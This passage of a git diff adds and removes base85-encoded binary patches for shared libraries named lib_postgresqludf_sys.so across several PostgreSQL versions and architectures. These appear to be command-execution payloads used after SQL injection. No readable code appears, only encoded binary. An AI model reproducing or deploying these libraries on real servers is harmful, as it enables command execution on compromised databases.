z{*T%QH?FO!4bG@Pk-ajd{`ug|_uu~Ol>FqE&UZch_6N*eOx1Y*q%4?qJ4pldZ7}Uu zXn@|s;%GNWJbirjBGaz*ml=>$16eBp+fZbVUm)$R&}sh)Ov;04e?`VOLegF&?He*a zPTEsse44ap$ov*?qPYgK1Ba_;Ygn1qMN;w2wHZI3)8`O1xLb*;6FunGIPl z<9s*FzZa~C^;r&n2``_$UV%<%h5QpXNQ<t-*h+ zDBllY{~5{W0LT0rVV^9DzYqIm#OFgYzUG#ETj2jK@VjK3Yu?Vy3#vfZ{tj|2#;>&P zN%md~PG*$xa`AP@y+!jq2fMGx7Mj)-iAA-f;ZGQvCbUpAWC*Pj0-?YrKUIG?v_%)% zvZu6_dRHiE=!wR#Kbh2%qPa_p_`5;@tuqx3hkQh(!Exku(y~Kzy@!+8;9Fp$-uU zCbYPb(2SU7=$j1cBH|B+V*#OT#sWdVjYGz`9u=KQU4K$^8hSV^Is@TYQWu@h3hXdc zJ40ueZX`wA0bm)19uaW>brBA22zZk*??XbLo9vl(Z!8gy|>Q$ zz?eRFOsm6NDZx3zlZHf1{VS0X$9CJNp$q%^cK^8VOT`lO68nXeoEgGfcZ;C(c|sv{ zNvSZTJXr&m!mAwzE0wRVczbz;{Bj4qyQyNcGYXhFJ&L zDM5xW4ZuYH)|SE%m^*TBVx8$>&-P#PG8U=!OnQ_P^%_$$Y2N9kySDH;Jedqn-)y=H zdUj7G{@y=u`g%z=ZY{WytjYd@qqB=#W|}bTg)|Y)m<3l7@8;7??@IT1+Sa${_l&T+r9d=!>Fct5m{b4G^QOK z)Ao&NdzEHhT+@nrR%U!Gg&b3pzHXU0!?U6_yVTv>VtcK(FIT?C4VKkEYFn?h=T>&R zx<#`ctLw!)m*2&6J1ZHj`(yg7)ian$m6_K*JZfIMb}oIobcK`stY!YXXVCFx%d>oy z=0w0hJeu9&HV3Yqd-Uo-HOId*B2}h3op*EbjiaV-B-{8;XY$PQ5%bK|gZZY)(Xq9u zaq~w{eGg?qWwKi@sN$T!786$w^3AhWkFN_p3rw@=8*mob=h@k7=2BBKtIO(o^NY(} zmwtl*Yr0F+x;q8LBJvI8uDagK+giF^ zR;u4wzDkx^-Jfl$aH;WiXbO*+zg)A+eP?gMJ@r)YuBLGpdfcs3Pr2_*4^6eLrdHSD zM=;J^@ysCR$-BpkR(mDpyjnBoXbYXSuD4Ro-r;;fZvANla;wR3B-8?802t1VV)$R3Ka znZBV`D^)1VW1DWv%q_9PtbD-#)YrxRL6E`et9nQ4G1~Ip;{(*T9 zKJ@VX1&bCpHu;u_1ah#z#mqD69^5S*kTu{2FbT6-#gaP5@!sT?+K$r@FGuiuil^ss z@ZWA)v0=pd8|e)=aYT!?xUX=eiyruKHrW40;3?pRQTm$zEe@DcTm--L}l2NWPbqjo)$|R8^2aFr%B%s z@<(gtc^~lBf3?nAcfX_lf5YBn5Z`!)e*=D5MN{6OKN%F>j?K~J=7=NlfoDga(i6#0 zEcyvULoA_(iFcHE*brX(3)jofLE*K(bG?a}{n6&tgIZ_8AJK(3V8jwhOyG#_01_dI zKN1RHf*1zkkJrxTjKtR-2E`%~J!+^D|5wT1(Cj1j2z!e>A1|A|Lt@X7*;60my%WdY zBZr~iisR=5vBa?_$#F1qu!ksl%d-tQmN@n>nZ2t>srSOc{v(dPNB$OcH81_-dNBKy zI(wGf0KIr#m|_u_y-OT>pUmD@`H1HpSO!)&?iDiEO&s@`!tpm6*NQauUgdtB3tbU$ zB(7QEjsZiy6-Vs4BHR!#|KAgE z1JKoclw8Liu$q_Ov4`+|&2v-{apV`l3db|@IB+~46)D_)I24ZO)EmGtrby{OgM;&P kef%xn58QvM%VETsPZ4oHRtBVssX0}s3mf(4$|%D93m<=l{Qv*} literal 0 HcmV?d00001 diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..d5c13a404e8a4a6a597000826fb327ff2db1d3f1 GIT binary patch literal 5132 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 Hr~SVHVS-t* literal 0 HcmV?d00001 diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..81ef75679be8c7ebeda19d861678028daddcbecc GIT binary patch literal 7968 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 HveW+Gyros4 literal 0 HcmV?d00001 diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..5ee84631741e4a776192a7d232878178996f89cc GIT binary patch literal 7976 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 JB+^d%e*=`SR%QSI literal 0 HcmV?d00001 diff --git a/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.2/lib_postgresqludf_sys.so deleted file mode 100644 index 55f743984149e96312be4ece9516d2eb17a26c2a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5476 zcmd5=eT-Dq6~D7Pz$zmwxaz7D28#yMbiyoKmDUDjccfZq7M5MUiqB#8&CV?IvCh0f zp=>LeuJU+!ttpylq6Q1Gqyf`ZX;u_6y4zh$s9C|LG&Ye$FiY9iU7<=W`uh9b_wHsG zt7)44(YrZw&bjAz&iy*~nhmT5CR`HHeS zCEfsmbHed(o;Vhk$KRat^p1eAOU6 zHCtQ${@nWx-1O|p2iMG+m$w>66sTJeS9nb?osY+dg_?xnLKZpJn^jAIq2caJ-voEgj-wL~lB(=fW9{aeB8y01z zxI*s71QT590kIhTnX-6~LLVs8g{F0;vl%UKM019w2`!mP8bXVM!4!KqN->&BZq3=WTSaQ>xdeKv`9x&sccNdv)y_|#PhnoNyH63l@jq-Dx23uT)Jr- zOl*@DOKj5O(Il+d+$Mo8#j=^WNT;LSB5&j}vF2`P+q zsKN=N&Q(h4ugbGj<78poBzemDuy?=gkNes$LdX^71518R601B(w0L!O$t1GYFMjCh zwNkGZaZjHi^(xT~o#i=rGp+V{{I?!|&Eta}|IFieVuKK0#9kn;3A%g?_9`6mPa|i^ z8(}9OKyS!{@T9~-#f^G`H{y{< z<1dlpvRcLXpbZ|6d%Om*Sl>e(2i!ik1O7|uxSU=i$D;k29GB0B>v14a$JBv zBgb6+i5!>1jf{h~7m(x9{EQqEHHYot0vW+YF&UTZC^;^)F>+ptn8zuo_me|!GtaaZ zNBtwPi1pk1Q7O^!hZ@V` z$!Zs8LAH0*tegEaIaau? zI2vem8*V!qE)6aT_|Cq89=CS+Ry&1b(xSrI&5I`jgfVv*mWtl4oAHq`a>Ve&qC``+_=*E)sW(r=yW=^Cdn;6{q{ zp?_A-n7;74To|M{C)d_5tiNBAi6WP-9!rO{k~VY5s+R&Bix&PnIttgldd$!E!pvp zUbMIR&0(2KRvS`9?%^*5I?UyLpFWbd^22-TDaj> zx8na36v`*?3^t-0@okzZgc8wwLWDZDWb#|mE;n+nWwV~kC$pK$6b-hVo+92Ax>JS- z$!~{{p+5{+enEtCS@}#3=?N{Ki>7rEiW%8l9u2sxD~3P_5=|##Xdnwm{DfpQ*Awq+ zIAzmmJ!7Z^_zyV$2f;jJ4l(ygjYtOd-eyjcm~$T^FNkAqk~$z);`kIJmN@1t=>ZU9 zFvrOGlH&g@=t~@PoW$H#MTs|~g84}tbCa|TvTB$0qy`Z4nKE;l)B?G@U8v%25ObS2 z?hO+6hKff#_sD%9h2vf#vERgTA1YicWcC$dxVkScM+t}Vlz z0*1slsw(UQiw08hcy^HZWK>19tD}NAj+bvL(wzzfu5f9{3ReP#q-=yM`5_O-d655u zLjs|T6Gh>Ej2gxxE`T#3@Flq3GF%;Sb-<|@FipriA#;uyk7o@3$2VMNrw{wF3#8iR zx55Z;JZDuQj`S2r;dq8#0FLLUDhl^JDin_ASPd3{HdU1TD^#$3Io=@J1n%F>%YI-O XPZi=`Q3|-SsWz4A_rM)gN*V570D2~7 diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so deleted file mode 100755 index eb1a6b3332c878cb72133f9365f94c550c14db4b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5140 zcmc&&eQXrh5r4K1?8L?xHz}qNI0#8e+g!0BNl7aKwhsact%ekC@Ra6tTX^PYe)LJP-l>(JX3^KK4Lq)42P{~qIg~~^d;I=l9U=cUl-*0!H zb&#S;{ikE*=FOYm%)F1;_jdW7_mve{Sy@6-j>r+z+<8JQhWuKQZCNbb!X*}n8KT6p zOFZSpDK<}{0zCb#z9%5TdFUttPj>9tkZJg&VI!xYlWBK>*IrW_AwEaaJ`I+qz;5tk z;Q3&LvxxqWfWH8q1)d9j9Q;LaKKM)EN5PohLy6hs(CCo9$b3W$x;u^9~Me+c0Z>aAw&FW3=$23;!$}nDVQO zO)p&dJ6!Lhj~&f`4E)d$Bdxk39(7y_nqfp<|~XX{HnZn5~L3NaE#$TOGX@l62njKWeK& zbMy<2-sQymqoaEqJ8O%S51sq)2qcO7%zQtm;tg~Q)m8MW!Rbmw_{&-x8i>fAH*xwXt@C6c)2GQC?bRg=B?~41B zoyvnf+x;!~W9mZ@<#U~ZP>T{%{EdV*Dr(dpSAC6sH4zqJe@jcWK?I_$N<;+Win3J% zRHdaw1R7eRaYY0yw?H(uRbT`S(MUjq!~RwgS7VWe)?H$UKcu#X5ZDR;upO>RQRAZ3 z4go(^35!;QQbbFrzQGfZdY%_P1taidMe5^md#%tFX%s78Syf))EAy0k7EQDlPP9t7 z3)wgqcruXKl7HEb#nxTW_%uHJkJcRV1nPl%PKwV7VJBT;snb^!3SsAS#LJF8&C;_) z4Rq39PzU%Y(vH04$Z792>(`^4h zos1ZTpp>1@Q;P;u->9K61)m$x3N4+OA=-tND^WDEE$bmA4oEMR{HCd|dAw zvs?K_l6}Z;evs^U)ot$6XU*^1U(?-#71gdGN_Y1}>)1r=w-c=+vZY;HUyC&jj_ck$ zqwR{>T9oD-PoS!V=1q0~gusE@hxN9UJ|{WoI(;+Ss2JD0hmDGVary-7YYuB|{d%Hb z^PbTLZyz40EEyNRO~C{3t+Ei9TYIn8mncM*fn^0*rM)+JpVl^KH#-PzmK`hEU(hU? zMYT3)IT|aoWEMMy_grFna=4({PF#~$+B;BQkadH%VRduXdNXm(vdC~o<?(MmI-Y76wWm+B_JBDCHDwx`OuzGjT zueyDBqnYTkd^gF_ZZH#P>}cK|jL}f;)NS!urC@DN306&Rj5es3SWw`SV`9&W#99oj zdA8NZ&54h1tZNo8VG-vVk1f2LYR;XTs%jRFk2^VLYJF-^RjskoRb{WDdEsVBH%~g5 zcWrZ)+?LW_&TY^N2B6T|N6>Gy-(i&YOZdIHPCrSB!C`d|G70x&y|K+) zpLM(1JkF?2pn_UEiS1vdTN!h#;1i{(Ss`l8<5r?Km?+41(O2bQ+ItfQR@nwvo%%`U zz}mdNRH*s76>p$2*A$N7PiE+;k#omMD@Pf<@(7Yph3Aep^oC{wwET0xVF`};-#@=Y&s}pN4ji|t@TAw`;Zysi$ 